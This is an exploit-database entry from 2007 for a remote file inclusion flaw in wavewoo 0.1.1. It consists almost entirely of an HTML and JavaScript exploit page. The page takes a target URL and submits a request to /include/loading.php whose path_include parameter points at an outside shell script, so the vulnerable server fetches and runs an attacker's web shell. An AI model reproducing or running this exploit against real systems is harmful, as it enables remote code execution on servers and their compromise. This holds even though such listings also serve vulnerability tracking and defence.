wavewoo 0.1.1 (loading.php path_include) Remote File Inclusion Exploit

🗓️ 25 Apr 2007 00:00:00Reported by RootType
wavewoo 0.1.1 Remote File Inclusion Exploit for loading.ph

                                                &lt;html&gt;
&lt;head&gt;
&lt;meta&nbsp;http-equiv=&quot;Content-Type&quot;&nbsp;content=&quot;text/html;&nbsp;charset=windows-1254&quot;&gt;
&lt;title&gt;Alessandro&nbsp;Lulli&nbsp;wavewoo&nbsp;&nbsp;Remote&nbsp;File&nbsp;Include&nbsp;Exploit&lt;/title&gt;

&lt;script&nbsp;language=&quot;JavaScript&quot;&gt;

//'===============================================================================================
//'[Script&nbsp;Name:&nbsp;Alessandro&nbsp;Lulli&nbsp;wavewoo
//'[Coded&nbsp;by&nbsp;&nbsp;:&nbsp;kezzap66345
//'[Author&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;kezzap66345
//'[Contact&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;[email protected]
//'[S.Page&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;http://wavewoo.sourceforge.net/
//'[$$&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;Free
//'[Download&nbsp;&nbsp;&nbsp;:&nbsp;http://sourceforge.net/projects/wavewoo/
//'===============================================================================================




&nbsp;&nbsp;&nbsp;&nbsp;//Basic&nbsp;exploit,but&nbsp;any&nbsp;time&nbsp;:&nbsp;(
&nbsp;&nbsp;var&nbsp;path=&quot;/include&quot;
&nbsp;&nbsp;var&nbsp;adres=&quot;/loading.php?&quot;&nbsp;//File&nbsp;name
&nbsp;&nbsp;var&nbsp;acik&nbsp;=&quot;path_include=&quot;&nbsp;//&nbsp;Line&nbsp;x
&nbsp;&nbsp;var&nbsp;shell=&quot;http://kezzap66345.by.ru/casus.php?&quot;&nbsp;//&nbsp;Shell&nbsp;Script

&nbsp;&nbsp;function&nbsp;command(){
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(document.rfi.target1.value==&quot;&quot;){
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;alert(&quot;Failed..&quot;);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;false;
&nbsp;&nbsp;&nbsp;}



&nbsp;rfi.action=&nbsp;document.rfi.target1.value+path+adres+acik+shell;
&nbsp;rfi.submit();&nbsp;//&nbsp;Form&nbsp;Submit
&nbsp;&nbsp;}
&lt;/script&gt;

&lt;/head&gt;

&lt;body&nbsp;bgcolor=&quot;#000000&quot;&gt;
&lt;center&gt;

&lt;p&gt;&lt;b&gt;&lt;font&nbsp;face=&quot;Verdana&quot;&nbsp;size=&quot;2&quot;&nbsp;color=&quot;#008000&quot;&gt;Alessandro&nbsp;Lulli&nbsp;wavewoo
Remote&nbsp;File&nbsp;Include&nbsp;Exploit&lt;/font&gt;&lt;/b&gt;&lt;/p&gt;

&lt;p&gt;&lt;/p&gt;
&lt;form&nbsp;method=&quot;post&quot;&nbsp;target=&quot;getting&quot;&nbsp;name=&quot;rfi&quot;&nbsp;onSubmit=&quot;command();&quot;&gt;
&nbsp;&nbsp;&nbsp;&lt;b&gt;&lt;font&nbsp;face=&quot;Arial&quot;&nbsp;size=&quot;1&quot;&nbsp;color=&quot;#FF0000&quot;&gt;Target:&lt;/font&gt;&lt;font
face=&quot;Arial&quot;&nbsp;size=&quot;1&quot;
color=&quot;#808080&quot;&gt;[http://[target]/[scriptpath]&lt;/font&gt;&lt;font&nbsp;color=&quot;#00FF00&quot;
size=&quot;2&quot;&nbsp;face=&quot;Arial&quot;&gt;
&nbsp;&lt;/font&gt;&lt;font&nbsp;color=&quot;#FF0000&quot;&nbsp;size=&quot;2&quot;&gt;&lt;/font&gt;&lt;/b&gt;
&nbsp;&lt;input&nbsp;type=&quot;text&quot;&nbsp;name=&quot;target1&quot;&nbsp;size=&quot;20&quot;&nbsp;style=&quot;background-color:
#808000&quot;&nbsp;onmouseover=&quot;javascript:this.style.background='#808080';&quot;
onmouseout=&quot;javascript:this.style.background='#808000';&quot;&gt;&lt;/p&gt;
&nbsp;&lt;p&gt;&lt;input&nbsp;type=&quot;submit&quot;&nbsp;value=&quot;Gonder&quot;&nbsp;name=&quot;B1&quot;&gt;&lt;input&nbsp;type=&quot;reset&quot;
value=&quot;Sifirla&quot;&nbsp;name=&quot;B2&quot;&gt;&lt;/p&gt;
&lt;/form&gt;
&lt;p&gt;&lt;br&gt;
&lt;iframe&nbsp;name=&quot;getting&quot;&nbsp;height=&quot;337&quot;&nbsp;width=&quot;633&quot;&nbsp;scrolling=&quot;yes&quot;
frameborder=&quot;0&quot;&gt;&lt;/iframe&gt;
&lt;/p&gt;

&lt;b&gt;&lt;font&nbsp;face=&quot;Verdana&quot;&nbsp;size=&quot;2&quot;&nbsp;color=&quot;#008000&quot;&gt;kezzap66345&lt;/font&gt;&lt;/b&gt;&lt;/p&gt;
&lt;/center&gt;
&lt;/body&gt;

&lt;/html&gt;
25 Apr 2007 00:00Current
7.1High risk
Vulners AI Score7.1